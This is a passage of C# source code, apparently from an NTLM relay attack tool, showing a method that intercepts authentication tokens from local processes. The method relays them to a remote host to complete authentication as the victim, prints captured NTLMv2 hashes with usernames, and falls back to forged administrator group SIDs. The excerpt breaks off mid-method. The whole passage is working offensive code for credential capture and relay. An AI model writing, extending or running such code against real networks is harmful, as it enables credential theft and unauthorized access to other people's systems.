Method ProcessRelayRequest

client/Program.cs:192–274

(RelayRequest relayRequest)

        }

        static BitseryObject ProcessRelayRequest(RelayRequest relayRequest) {

            var token = NtlmAuthenticationToken.Parse(relayRequest.Token);
            BitseryObject lsaResponse;
            bool doPassive = DoPassiveMode(relayRequest.ProcessID);

            if (token is NtlmNegotiateAuthenticationToken) {

                var newAuthContext = new NtlmAuth(relayRequest.Context, !doPassive ? new NtlmRelayChallengeResponse(host, port) : null);             
                activeContext[newAuthContext.Context] = newAuthContext;

                if (!doPassive) {
                    var relayResponse = newAuthContext.Relayer.GetChallengeToken(relayRequest.Token);

                    if (relayResponse.Length > 0) {
                        lsaResponse = new RelayChallengeResponse(relayResponse);
                        newAuthContext.Challenge = (NtlmChallengeAuthenticationToken)NtlmAuthenticationToken.Parse(relayResponse);
                    } else {
                        Console.WriteLine($"[!] Failed to relay NTLM Type 1 and get challenge");
                        lsaResponse = new RelayChallengeResponse(RelayStatus.Passive);
                    }

                } else {
                    lsaResponse = new RelayChallengeResponse(RelayStatus.Passive);
                }

            } else if (token is NtlmAuthenticateAuthenticationToken ntlmAuthenticate) {

                if (!activeContext.ContainsKey(relayRequest.Context)) {
                    Console.WriteLine($"[!] Couldn't find existing relay session for context with id 0x{relayRequest.Context:x}");
                    lsaResponse = new RelayCompleteResponse(RelayStatus.Passive);

                } else {
                   
                    var authContext = activeContext[relayRequest.Context];
                    activeContext.Remove(relayRequest.Context);
                    authContext.Authentication = ntlmAuthenticate;
                    bool? success = null;
                    string userName = $"{ntlmAuthenticate.Domain}\\{ntlmAuthenticate.UserName}";

                    if (!doPassive && !string.IsNullOrEmpty(ntlmAuthenticate.UserName)) {
                        success = authContext.Relayer.SendAuthenticateToken(relayRequest.Token);
                        PrintNTLMv2(authContext, relayRequest.Process.ProcessName, success);

                        UserInfo userInfo = new UserInfo(ntlmAuthenticate.UserName, ntlmAuthenticate.Domain);

                        if (!userInfo.PopulateFromLDAP()) {
                            //Failed find user in LDAP so lets assume a local admin for now
                            userInfo.SecurityIdentifier = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null);
                            userInfo.PrimaryGroupId = 500;
                            userInfo.Groups.Add(new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null));
                            userInfo.Groups.Add(new SecurityIdentifier(WellKnownSidType.BuiltinRemoteDesktopUsersSid, null));
                        }

                        lsaResponse = new RelayCompleteResponse(success.Value ? RelayStatus.AuthSuccess : RelayStatus.AuthFailed, ntlmAuthenticate.Workstation, userInfo);
                        TriggerAuthTimer(relayRequest.ProcessID);

                    } else {